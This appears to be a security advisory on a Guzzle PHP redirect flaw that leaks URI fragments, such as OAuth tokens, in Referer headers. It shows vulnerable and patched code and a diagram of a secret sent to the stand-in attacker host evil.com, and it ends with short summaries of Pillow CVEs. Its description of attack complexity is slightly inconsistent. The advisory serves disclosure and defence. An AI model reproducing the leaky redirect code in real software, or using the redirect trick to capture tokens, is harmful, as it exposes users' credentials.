Jul 21, 2026·6 min read·6 visits
Guzzle HTTP client leaks client-side URI fragments containing sensitive data (like access tokens) in Referer headers when auto-redirects are configured with referer tracking enabled.
An issue in Guzzle's RedirectMiddleware allows client-side URI fragments to be leaked over the network in Referer headers during same-scheme HTTP redirects.
The vulnerability resides within the Guzzle HTTP client's redirect handling component, specifically GuzzleHttp\Psr7 and the GuzzleHttp\Middleware\RedirectMiddleware class. Guzzle is a highly popular PHP HTTP client widely used in modern web applications to coordinate integrations and third-party API interactions. Under certain circumstances, configurations that automate redirect processing can expose sensitive client-side data over the network.\n\nWhen a developer explicitly configures the Guzzle client to automatically generate and forward the Referer header during HTTP redirects, the underlying middleware attempts to reconstruct the request's origin context. However, versions of the Guzzle library prior to 7.15.1 fail to validate the structure of the origin URI, enabling client-side fragment data to be serialized and processed over the network. This behavior directly expands the attack surface to include third-party services that receive these redirected request headers.\n\nThe vulnerability class corresponds to CWE-201 (Insertion of Sensitive Information Into Sent Data), stemming from an incorrect abstraction of URI boundaries. Standard web specifications indicate that URI fragments must never traverse the network. By violating this protocol, Guzzle transmits client-side processing states, such as OAuth tokens or single-sign-on hashes, directly to unauthorized network end-points during same-scheme redirections.
To understand the technical root cause, we must evaluate the distinction between a URI's query parameters and its fragment components. According to RFC 3986 Section 3.5, the fragment identifier contains client-side instructions that identify a secondary resource. Traditional user agents, such as modern web browsers, separate the fragment component from the target URI before executing any HTTP request over the network. Guzzle, as a programmatic HTTP client, implements PSR-7 standards where the entire URI is held in memory as an instance of UriInterface.\n\nWhen Guzzle's RedirectMiddleware intercepts an HTTP 3xx redirect response, it checks if same-scheme redirection is occurring (for instance, redirecting from one HTTPS endpoint to another HTTPS endpoint). If the 'allow_redirects' configuration has 'referer' tracking enabled, Guzzle programmatically builds a new Referer header. It extracts the original request's URI object and attempts to clean it before adding it to the headers array.\n\nThe structural failure in Guzzle's sanitization process is that it only strips the user credentials (username and password) via the withUserInfo('') method. The middleware does not attempt to purge the fragment component. Consequently, the original URI is cast directly to a string, causing Guzzle to serialize the client-side fragment and send it to the destination server in the Referer header.
Analyzing the source code of Guzzle's RedirectMiddleware.php reveals the precise implementation bug. In vulnerable versions, the middleware validates that same-scheme redirects are occurring prior to constructing the Referer header, but it lacks any logical checks to purge the fragment data.\n\nBelow is the code comparison between the vulnerable and patched implementations of the modifyRequest function within Guzzle's RedirectMiddleware class:\n\nphp\\n// Vulnerable Implementation (Guzzle < 7.15.1)\\nif ($options['allow_redirects']['referer']\\n && $modify['uri']->getScheme() === $request->getUri()->getScheme()\\n) {\\n // Only user info is stripped; the URI fragment is retained\\n $uri = $request->getUri()->withUserInfo('');\\n $modify['set_headers']['Referer'] = (string) $uri;\\n} else {\\n $modify['remove_headers'][] = 'Referer';\\n}\\n\\n// Patched Implementation (Guzzle >= 7.15.1)\\nif ($options['allow_redirects']['referer']\\n && $modify['uri']->getScheme() === $request->getUri()->getScheme()\\n) {\\n // Both user info and fragment are explicitly stripped\\n $uri = $request->getUri()->withUserInfo('')->withFragment('');\\n $modify['set_headers']['Referer'] = (string) $uri;\\n} else {\\n $modify['remove_headers'][] = 'Referer';\\n}\\n\n\nThe patch resolves this by appending the withFragment('') call to the method chain. This returns a cloned UriInterface instance with the fragment property set to an empty string. However, security researchers should observe that query parameters are not stripped. If Guzzle initiates a redirect to a cross-origin server, any sensitive data held in query parameters (such as ?api_key=SECRET) will still be transmitted because Guzzle only validates that the redirect target's scheme matches the source scheme, leaving further domain validation to the developer.
An attacker seeking to exploit this vulnerability must target an application that communicates with a service that handles secrets inside URI fragments, such as an OAuth 2.0 authorization server using the implicit grant flow. The client must also have Guzzle's referer-tracking redirect behavior explicitly configured. The attacker must control the destination of a redirect, either via an open redirect flaw on the trusted host or by directly manipulating the client to follow a link to an attacker-controlled server.\n\nWhen the Guzzle client issues a request containing a fragment and the trusted endpoint responds with a 302 Redirect to the attacker's server, Guzzle automatically generates the Referer header. It retains the fragment in the Referer header, sending it to the attacker's host. The attacker then parses their server's access logs to extract the secret.\n\nmermaid\\ngraph LR\\n Client[\"Guzzle Client\\n'allow_redirects.referer' => true\"] -->|\"1. GET /callback#token=SECRET\"| Trusted[\"Trusted Host\\n(trusted-api.com)\"]\\n Trusted -->|\"2. 302 Redirect\\nLocation: https://evil.com/logger\"| Client\\n Client -->|\"3. GET /logger\\nReferer: https://trusted-api.com/callback#token=SECRET\"| Attacker[\"Attacker Server\\n(evil.com)\"]\\n\n\nNo weaponized exploit tools are currently documented in the wild. However, test assertions in Guzzle's test suite confirm that the fragment is transmitted when this code path is traversed under vulnerable configurations.
The impact of this vulnerability is a high-risk disclosure of confidential secrets. If an application utilizes fragments to pass temporary authorization keys, single-sign-on parameters, or OAuth state tokens, these values are immediately exposed to any external host that receives a redirect from the client.\n\nAn attacker obtaining these tokens can perform session hijacking, impersonate the application user, or access private application-programming interfaces. The vulnerability has a CVSS v3.1 base score of 5.9, reflecting a high confidentiality impact, with low complexity and no privileges required, balanced by the configuration prerequisites.\n\nBecause this vulnerability has no assigned CVE ID, it is not listed in the CISA KEV catalog, and EPSS scores are not calculated. Nevertheless, the lack of a formal CVE does not diminish the potential severity for systems using insecure redirect configurations.
The primary remediation path is upgrading the guzzlehttp/guzzle package to version 7.15.1 or later. The security release replaces the vulnerable code path and guarantees that all URI fragments are stripped prior to Referer header serialization.\n\nIf upgrading the library is not immediately possible, you should verify that Guzzle's referer tracking is disabled. This is Guzzle's default behavior. Ensure that any client instantiations do not explicitly enable this parameter, or explicitly configure it to false as shown below:\n\nphp\\n$client->request('GET', $uri, [\\n 'allow_redirects' => [\\n 'referer' => false, // Explicitly disabled\\n ],\\n]);\\n\n\nDevelopers can also manually sanitize incoming URIs by utilizing PSR-7 methods to strip fragments before executing requests. For example, calling $cleanUri = $uri->withFragment(''); guarantees that the client never processes or forwards client-side data over the network.
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N| Product | Affected Versions | Fixed Version |
|---|---|---|
guzzlehttp/guzzle Guzzle | < 7.15.1 | 7.15.1 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-201 |
| Attack Vector | Network (AV:N) |
| CVSS Score | 5.9 (Medium) |
| Exploit Status | None/Unproven |
| EPSS Score | N/A |
| CISA KEV Status | Not Listed |
| Impact | Information Disclosure |
The product inserts sensitive information into a record or data flow that is sent to another actor.
CVE-2026-59198 is a high-severity heap out-of-bounds read vulnerability in Pillow, the Python imaging library, affecting versions from 5.2.0 up to 12.3.0. The vulnerability occurs in the TGA RLE compression path due to a calculation mismatch between the allocated packed 1-bit row buffer and the byte-level pixel stride assumption in the C-level encoder. This mismatch allows an attacker to leak up to approximately 57 KB of adjacent process heap memory directly into generated TGA image files.
A critical signed 32-bit integer overflow vulnerability was identified in Pillow (Python Imaging Library) versions prior to 12.3.0. The vulnerability resides within the native C extension library (libImaging) during coordinate and bounding box calculations in functions like ImagingPaste and ImagingFill2. Exploitation can bypass bounds and clipping safety checks, leading to a controlled heap backward underwrite and application crash.
CVE-2026-59200 is a high-severity uncontrolled resource consumption vulnerability in the Pillow Python Imaging Library. The flaw resides in the PDF stream decoder, allowing remote, unauthenticated attackers to trigger host out-of-memory crashes by submitting malicious PDF decompression bombs.
A denial-of-service (DoS) vulnerability in Pillow (Python Imaging Library) versions 12.0.0 through 12.2.0 allows unauthenticated remote attackers to trigger 100% CPU utilization and hang the processing thread. The issue occurs within the Encapsulated PostScript (EPS) image parser (PIL/EpsImagePlugin.py) due to missing validation on the byte count parsed from %%BeginBinary: comments, allowing negative values to cause an infinite backward stream seek loop. This formatting-level state-looping issue occurs during the initial format sniffing phase inside Image.open() and does not require the system Ghostscript interpreter to be executed or present. It is resolved in version 12.3.0.
A Denial of Service vulnerability exists in the JPEG2000 decoder of Pillow (versions 8.2.0 to 12.2.0) due to memory allocation state accumulation across tiles, leading to rapid process termination.
CVE-2026-59205 is a high-severity heap-based out-of-bounds write vulnerability affecting Pillow prior to version 12.3.0. The flaw stems from a validation omission in the ImageCmsTransform class where source and destination image modes are not checked against the configurations defined during the creation of the transform. An attacker can exploit this discrepancy to trigger a heap buffer overflow or an out-of-bounds read by supplying an under-allocated target image buffer.